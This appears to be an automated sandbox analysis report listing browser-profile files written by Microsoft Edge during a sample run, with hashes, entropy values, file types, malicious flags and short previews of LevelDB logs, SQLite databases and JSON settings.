Preview:	2024/11/21-16:09:27.359 20a8 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules since it was missing..2024/11/21-16:09:27.370 20a8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	209
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	3:FQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlX:qTCTCTCTCTCTCTCTCTCTCT
MD5:	478D49D9CCB25AC14589F834EA70FB9E
SHA1:	5D30E87D66E279F8815AFFE4C691AAF1D577A21E
SHA-256:	BB6CC6DF54CF476D95409032C79E065F4E10D512E73F7E16018E550456F753D5
SHA-512:	FB5431054A23D3C532568B1F150873D9130DBC4A88BE19BC2A4907D0DC2888C5B55993154EAD4A6C466E2173092B8705684A6802B850F051639E1F2457387471
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.172780361507024
Encrypted:	false
SSDEEP:	6:HE9L9Dq1wkn23oH+Tcwt86FB2KLlVE9jCVQ+q2Pwkn23oH+Tcwt865IFUv:k9LbfYeb/FFLs9jkVvYfYeb/WFUv
MD5:	3774086D2930CEC2167471D562BDB068
SHA1:	CCFEAB60BD922E8D3BEDADB77577A1218D46988F
SHA-256:	79BB1C49A7774461EB889970D7DFAEA1246DE5E4DFB41784841C4B0DE8938A54
SHA-512:	821D7D5589DCD020198E2B306B2401EC945DAABBFB8B244705166D5977F2CF9C05936CC3AD894952FE7F9C3F8546F9E55C65316CE0F070FB6D64B8272D04B806
Malicious:	false
Preview:	2024/11/21-16:09:27.372 20a8 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts since it was missing..2024/11/21-16:09:27.555 20a8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW:
MD5:	A2A3B1383E3AAC2430F44FC7BF3E447E
SHA1:	B807210A1205126A107A5FE25F070D2879407AA4
SHA-256:	90685D4E050DA5B6E6F7A42A1EE21264A68F1734FD3BD4A0E044BB53791020A2
SHA-512:	396FAB9625A2FF396222DBC86A0E2CDE724C83F3130EE099F2872AED2F2F2ECE13B0853D635F589B70BD1B5E586C05A3231D68CAF9E46B6E2DAC105A10D0A1C8
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.159991600445014
Encrypted:	false
SSDEEP:	6:HE9k4q2Pwkn23oH+Tcwt8NIFUt8YE9t4Zmw+YE9tgkwOwkn23oH+Tcwt8+eLJ:k9k4vYfYebpFUt8/9q/+/9W5JfYebqJ
MD5:	96C1E7DFE85E81FB4C6E2CC5139EAAF1
SHA1:	73C606F7C8C06CEC09FD51E2BAF6EA5916B5A11A
SHA-256:	2BD9F14FA8E41363127984CAF11B1697BEBF0655F552D5B1BF95B421D9920177
SHA-512:	08E2156120D638B6D993873452AD9C7D8DAF1DA71B8EBC0E417F713979829207F693AB235D7C2B416487765EC646D82C7C7BA76390EC0EE288EDA8C56465C489
Malicious:	false
Preview:	2024/11/21-16:09:28.119 470 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/21-16:09:28.120 470 Recovering log #3.2024/11/21-16:09:28.120 470 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.159991600445014
Encrypted:	false
SSDEEP:	6:HE9k4q2Pwkn23oH+Tcwt8NIFUt8YE9t4Zmw+YE9tgkwOwkn23oH+Tcwt8+eLJ:k9k4vYfYebpFUt8/9q/+/9W5JfYebqJ
MD5:	96C1E7DFE85E81FB4C6E2CC5139EAAF1
SHA1:	73C606F7C8C06CEC09FD51E2BAF6EA5916B5A11A
SHA-256:	2BD9F14FA8E41363127984CAF11B1697BEBF0655F552D5B1BF95B421D9920177
SHA-512:	08E2156120D638B6D993873452AD9C7D8DAF1DA71B8EBC0E417F713979829207F693AB235D7C2B416487765EC646D82C7C7BA76390EC0EE288EDA8C56465C489
Malicious:	false
Preview:	2024/11/21-16:09:28.119 470 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/21-16:09:28.120 470 Recovering log #3.2024/11/21-16:09:28.120 470 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ExtensionActivityComp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 1, cookie 0x1, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	0.3169096321222068
Encrypted:	false
SSDEEP:	3:lSWbNFl/sl+ltl4ltllOl83/XWEEabIDWzdWuAzTgdWj3FtFIU:l9bNFlEs1ok8fDEPDadUTgd81Z
MD5:	2554AD7847B0D04963FDAE908DB81074
SHA1:	F84ABD8D05D7B0DFB693485614ECF5204989B74A
SHA-256:	F6EF01E679B9096A7D8A0BD8151422543B51E65142119A9F3271F25F966E6C42
SHA-512:	13009172518387D77A67BBF86719527077BE9534D90CB06E7F34E1CCE7C40B49A185D892EE859A8BAFB69D5EBB6D667831A0FAFBA28AC1F44570C8B68F8C90A4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ExtensionActivityEdge

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 8, cookie 0x8, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.40981274649195937
Encrypted:	false
SSDEEP:	24:TL1WK3iOvwxwwweePKmJIOAdQBVA/kjo/TJZwJ9OV3WOT/5eQQ:Tmm+/9ZW943WOT/
MD5:	1A7F642FD4F71A656BE75B26B2D9ED79
SHA1:	51BBF587FB0CCC2D726DDB95C96757CC2854CFAD
SHA-256:	B96B6DDC10C29496069E16089DB0AB6911D7C13B82791868D583897C6D317977
SHA-512:	FD14EADCF5F7AB271BE6D8EF682977D1A0B5199A142E4AB353614F2F96AE9B49A6F35A19CC237489F297141994A4A16B580F88FAC44486FCB22C05B2F1C3F7D1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j............M.....8...b..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 39, 1st free page 10, free pages 4, cookie 0x45, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5241404324800358
Encrypted:	false
SSDEEP:	96:56U+bGzPDLjGQLBE3up+U0jBo4tgi3JMe9xJDECVjN:5R+GPXBBE3upb0HtTTDxVj
MD5:	241322143A01979D346689D9448AC8C0
SHA1:	DD95F97EE1CCB8FD9026D2156DE9CB8137B816D1
SHA-256:	65EEBDEC4F48A111AC596212A1D71C3A5CFA996797500E5344EEABDFA02527C8
SHA-512:	9C7241462A9DADEF25D8EEB1C14BABFBA65C451EBAFBC068B9856E4EF0EB6F894A44686CBB0D1F46C7F546335D0C53A3E386E6C1A017082DE127F8F9C0A54BD2
Malicious:	false
Preview:	SQLite format 3......@ .......'...........E......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.32872990409968056
Encrypted:	false
SSDEEP:	6:NiA/J3+t76Y4QZZofU99pO0BYnUkqR4EZY4QZvGP:NThHQws9LdMUjBQZGP
MD5:	1309C985A85CE8ADAA038A79F87CD3DD
SHA1:	F3E343B26723AABD282B2E05530254D1CD45AB81
SHA-256:	2AA5D2B22C36D955A2AD82BAD2A340FA6559B2407B9A0D493F69A87E2A15CAF2
SHA-512:	3C8FE9BD2D9FB388017B53F058AF9550D9CE6361F7804E993E807FDAC674AD66593390A50187ADAD9CE0DAF717DE3E51A2CE9BFAB440073376726FFB12081B58
Malicious:	false
Preview:	...................'....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 11, cookie 0x3, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	3.548984510495898
Encrypted:	false
SSDEEP:	384:zj9P0JjcSQkQerJgam6I1hB773pLERKToaADP/Kbte:zdiYSe2MF37SRKcnP/F
MD5:	5917AABEE360EB2A20490EF3EE681868
SHA1:	AB3E0B97856D27BAD0FE95A6B8E22198924EA872
SHA-256:	7C06014668BD9E802C05629DAE4B4F4CB73DF0A6B43AE30F38E1F9875E37A285
SHA-512:	C60C3BD7261F3628024214759E94B81B97076B841166C3F2D0CF219C5270CA336A7D07F622251D18CB37B0C521D1918E55C9D23E34ADD6895C59B2AD8943B686
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	403
Entropy (8bit):	5.282492332648059
Encrypted:	false
SSDEEP:	12:k9M4vYfYeb8rcHEZrELFUt8/9MJ/+/9e5JfYeb8rcHEZrEZSJ:k9MKYfYeb8nZrExg8/9MS9IJfYeb8nZR
MD5:	4D4DBF58590F2B732F3194A8B053B20D
SHA1:	8C33F53A4725853B98542C8674E1D0383E0C0710
SHA-256:	AE203CCBCAC97C66DDEA3038D833FC48A0947EB93E1B7DAEE29EBC5D4288AAC3
SHA-512:	2397F0672428702B5A8F493E1C11DFBE6CE1F1A50E8E0E8FF8CC162A0BE9FEDD550E35AD48F0527A47773A7A6401FA1E8B025201920F17D9060A09597E0D1CC5
Malicious:	false
Preview:	2024/11/21-16:09:28.919 470 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/21-16:09:28.919 470 Recovering log #3.2024/11/21-16:09:28.920 470 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	403
Entropy (8bit):	5.282492332648059
Encrypted:	false
SSDEEP:	12:k9M4vYfYeb8rcHEZrELFUt8/9MJ/+/9e5JfYeb8rcHEZrEZSJ:k9MKYfYeb8nZrExg8/9MS9IJfYeb8nZR
MD5:	4D4DBF58590F2B732F3194A8B053B20D
SHA1:	8C33F53A4725853B98542C8674E1D0383E0C0710
SHA-256:	AE203CCBCAC97C66DDEA3038D833FC48A0947EB93E1B7DAEE29EBC5D4288AAC3
SHA-512:	2397F0672428702B5A8F493E1C11DFBE6CE1F1A50E8E0E8FF8CC162A0BE9FEDD550E35AD48F0527A47773A7A6401FA1E8B025201920F17D9060A09597E0D1CC5
Malicious:	false
Preview:	2024/11/21-16:09:28.919 470 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/21-16:09:28.919 470 Recovering log #3.2024/11/21-16:09:28.920 470 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.110693219996875
Encrypted:	false
SSDEEP:	6:HE9RavIq2Pwkn23oH+Tcwt8a2jMGIFUt8YE9RvhZmw+YE9RY7kwOwkn23oH+Tcw2:k9RaAvYfYeb8EFUt8/9Rvh/+/9RY75Jg
MD5:	03CDF0894EEBC649552F22FD11A59A84
SHA1:	035E776F95C709ACEEE48857DEA4EC4C081E4522
SHA-256:	E9D9820FA32D07D79FB16A94AF19AD5C7045D3261FEF64DCFB4CD9533E289E90
SHA-512:	BC766BE3930735951D4F230C21E773B679839A6241D4C74AB80AF7176ABBE47A496604A44A4C1F65412AFA2436A6F50372D8506FCA2D94F77C7F054FFE18FDEB
Malicious:	false
Preview:	2024/11/21-16:09:27.600 2100 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/21-16:09:27.601 2100 Recovering log #3.2024/11/21-16:09:27.606 2100 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.110693219996875
Encrypted:	false
SSDEEP:	6:HE9RavIq2Pwkn23oH+Tcwt8a2jMGIFUt8YE9RvhZmw+YE9RY7kwOwkn23oH+Tcw2:k9RaAvYfYeb8EFUt8/9Rvh/+/9RY75Jg
MD5:	03CDF0894EEBC649552F22FD11A59A84
SHA1:	035E776F95C709ACEEE48857DEA4EC4C081E4522
SHA-256:	E9D9820FA32D07D79FB16A94AF19AD5C7045D3261FEF64DCFB4CD9533E289E90
SHA-512:	BC766BE3930735951D4F230C21E773B679839A6241D4C74AB80AF7176ABBE47A496604A44A4C1F65412AFA2436A6F50372D8506FCA2D94F77C7F054FFE18FDEB
Malicious:	false
Preview:	2024/11/21-16:09:27.600 2100 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/21-16:09:27.601 2100 Recovering log #3.2024/11/21-16:09:27.606 2100 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 28, cookie 0x1d, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	0.863060653641558
Encrypted:	false
SSDEEP:	96:u7/KLPeymOT7ynlm+yKwt7izhGnvgbn8MouB6wznP:u74CnlmVizhGE7IwD
MD5:	C681C90B3AAD7F7E4AF8664DE16971DF
SHA1:	9F72588CEA6569261291B19E06043A1EFC3653BC
SHA-256:	ADB987BF641B2531991B8DE5B10244C3FE1ACFA7AD7A61A65D2E2D8E7AB34C1D
SHA-512:	4696BF334961E4C9757BAC40C41B4FBE3E0B9F821BD242CE6967B347053787BE54D1270D7166745126AFA42E8193AC2E695B0D8F11DE8F0B2876628B7C128942
Malicious:	true
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network Action Predictor

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 11, cookie 0x6, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	0.40293591932113104
Encrypted:	false
SSDEEP:	24:TLVgTjDk5Yk8k+/kCkzD3zzbLGfIzLihje90xq/WMFFfeFzfXVVlYWOT/CUFSe:Tmo9n+8dv/qALihje9kqL42WOT/9F
MD5:	ADC0CFB8A1A20DE2C4AB738B413CBEA4
SHA1:	238EF489E5FDC6EBB36F09D415FB353350E7097B
SHA-256:	7C071E36A64FB1881258712C9880F155D9CBAC693BADCC391A1CB110C257CC37
SHA-512:	38C8B7293B8F7BEF03299BAFB981EEEE309945B1BDE26ACDAD6FDD63247C21CA04D493A1DDAFC3B9A1904EFED998E9C7C0C8E98506FD4AC0AB252DFF34566B66
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......=......\.t.+.>...,...=........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\0db263b8-5f0f-4fd3-8472-e37035642f3f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\245d7ef6-9b4d-4451-9b9b-522f50ac589d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	22
Entropy (8bit):	3.788754913993502
Encrypted:	false
SSDEEP:	3:YWRAW4J2LSQ:YWyW5SQ
MD5:	3BB76EC23C5506830EAD56540E06159F
SHA1:	94695E47D907E559E91E677CEC4EB763DC0C5CA9
SHA-256:	6B40F4AE548688A472BE3CA0C1B08ECF520B31E706FEC0F9793B4666134EBA06
SHA-512:	307F9BD06CA5EE753ACDC450CF1599DFC8ED080D9A1B19D752DD9B7950377A5B04E44D374F12ED76ABD74961C2B1F8AD6C93E4663EA77F5D6E066570C1AA6BAD
Malicious:	false
Preview:	{"sts":[],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\88420adf-23c1-4b9e-9a60-e7050919d2b4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1552
Entropy (8bit):	5.265414058127947
Encrypted:	false
SSDEEP:	48:YXsHW8swfcdsVgnsq1CIsEC5sfVCgHCJbg:ecRG1RFTCJk
MD5:	CE757EEDFE44D91DFF5438D1E0F9587A
SHA1:	562B13902E4A02B7F717B6AEFB87BAE3E47162C1
SHA-256:	D009D5ECA170417D7194F7B8A36EE35483DA046E022A0010EC8DFAC122FFFA5E
SHA-512:	B195F0D8AD6EC61A96F6D304153AE6D01AB1E0170B94E78490FFB33526529C41D4F32B7C7718A33B612B3E66CB70A48DB0E6D52719408D1616DF5B36DDBCA4CA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379288971534336","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com"},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379288974398726","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com"},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379288978795496","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com"},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13376783378883128","port":443,"protocol_str":"quic"}],"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets2.msn.com"},{"alternative_service":[{"adv

